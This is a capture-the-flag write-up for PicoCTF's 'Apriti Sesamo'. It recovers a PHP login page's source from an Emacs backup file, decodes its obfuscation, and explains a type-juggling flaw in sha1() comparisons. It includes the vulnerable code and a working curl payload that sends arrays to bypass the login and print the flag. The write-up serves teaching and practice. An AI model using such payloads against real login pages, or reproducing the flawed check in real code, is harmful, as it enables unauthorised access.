CTF Write-up: Apriti Sesamo (PicoCTF)

CTF Write-up: Apriti Sesamo (PicoCTF)

Challenge Information

  • Title: Apriti Sesamo
  • Description: I found a web app that claims to be impossible to hack! Try it here> http://verbal-sleep.picoctf.net:58281/
  • Hint #1: Backup Files
  • Hint #2: Rumor has it, the lead developer is a militant emacs user

Summary

The solution involves using the hints to discover a backup file (~ extension) containing the PHP source code for the login page. The source code is obfuscated but reveals a two-step validation process. The vulnerability is a PHP "Magic Hash" or Type Juggling weakness, where the sha1() function returns NULL when given an array. By submitting two different arrays for the username and password, we can bypass the initial equality check while making their sha1() hashes equal, thus triggering the code to read and display the flag from ../flag.txt.


Step 1: Reconnaissance and Finding the Source Code

The challenge title "Apriti Sesamo" ("Open Sesame") suggests we need to find a secret entrance. The hints provide a clear path:

  1. Hint #1: Backup Files: This tells us to look for copies of server-side files.
  2. Hint #2: Militant emacs user: The Emacs text editor is famous for creating backup files by appending a tilde (~) to the original filename.

The main functional page is impossibleLogin.php. Combining the hints, we can guess the backup file's name is impossibleLogin.php~.

We can download this file using a browser or curl:

curl http://verbal-sleep.picoctf.net:58281/impossibleLogin.php~

This command downloads the source code of the login page.

Step 2: Analyzing the Obfuscated Source Code

The downloaded file contains the page's HTML and a block of obfuscated PHP code:

<?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>

We need to de-obfuscate the base64_decode() calls to understand the logic.

  • base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d") -> base64_decode("dXNlcm5hbWU=") -> username
  • base64_decode("\143\x48\x64\x6b") -> base64_decode("cHdk") -> pwd
  • base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75") -> base64_decode("Li4vZmxhZy50eHQ=") -> ../flag.txt

Rewriting the code with the decoded values gives us a clear picture:

<?php
// Check if 'username' and 'pwd' were submitted
if (isset($_POST['username']) && isset($_POST['pwd'])) {

    $username = $_POST['username'];
    $password = $_POST['pwd'];

    // CHECK 1: Are the username and password equal? (Loose comparison)
    if ($username == $password) {
        echo "<br/>Failed login. Invalid details.";
    } else {
        // CHECK 2: Are the SHA1 hashes of the inputs identical? (Strict comparison)
        if (sha1($username) === sha1($password)) {
            // If so, print the flag
            echo file_get_contents('../flag.txt'); 
        } else {
            // Otherwise, fail
            echo "<br/>Failed! No flag for you";
        }
    }
}
?>

Step 3: Identifying and Exploiting the Vulnerability

The logic presents a clear challenge: we need to find a username and password that are not equal to each other, but whose SHA1 hashes are identical.

This is a classic PHP Type Juggling vulnerability. The sha1() function is designed to hash strings. If it receives an array, it does not throw an error but instead returns NULL.

Our goal is to trigger the sha1($username) === sha1($password) condition.

  • If we supply arrays for both username and pwd, the comparison becomes NULL === NULL.
  • The strict comparison NULL === NULL evaluates to true.

However, we must also bypass the first check: $username == $password. If we send two empty arrays (e.g., username[]= and pwd[]=), the check [] == [] evaluates to true, and we get blocked with "Failed login".

The solution is to send two different arrays.

  • Let username be [] (an empty array).
  • Let pwd be ['any_value'] (an array with content).

In PHP:

  1. [] == ['any_value'] is false, so we bypass the first check.
  2. sha1([]) is NULL.
  3. sha1(['any_value']) is also NULL.
  4. The comparison NULL === NULL is true, and the server gives us the flag.

Step 4: Crafting the Final Payload

We can send a POST request with array data using curl. The [] syntax in the data payload tells PHP to interpret the parameter as an array.

curl 'http://verbal-sleep.picoctf.net:58281/impossibleLogin.php' --data-raw 'username[]=&pwd[]=1'
  • --data-raw: Sends the raw data string as the POST body.
  • username[]= creates an empty array for the username parameter.
  • pwd[]=1 creates an array containing the string "1" for the pwd parameter.

Executing this command sends the correct payload. The server processes it, finds that the sha1() hashes are strictly equal, and returns the contents of ../flag.txt.

Comments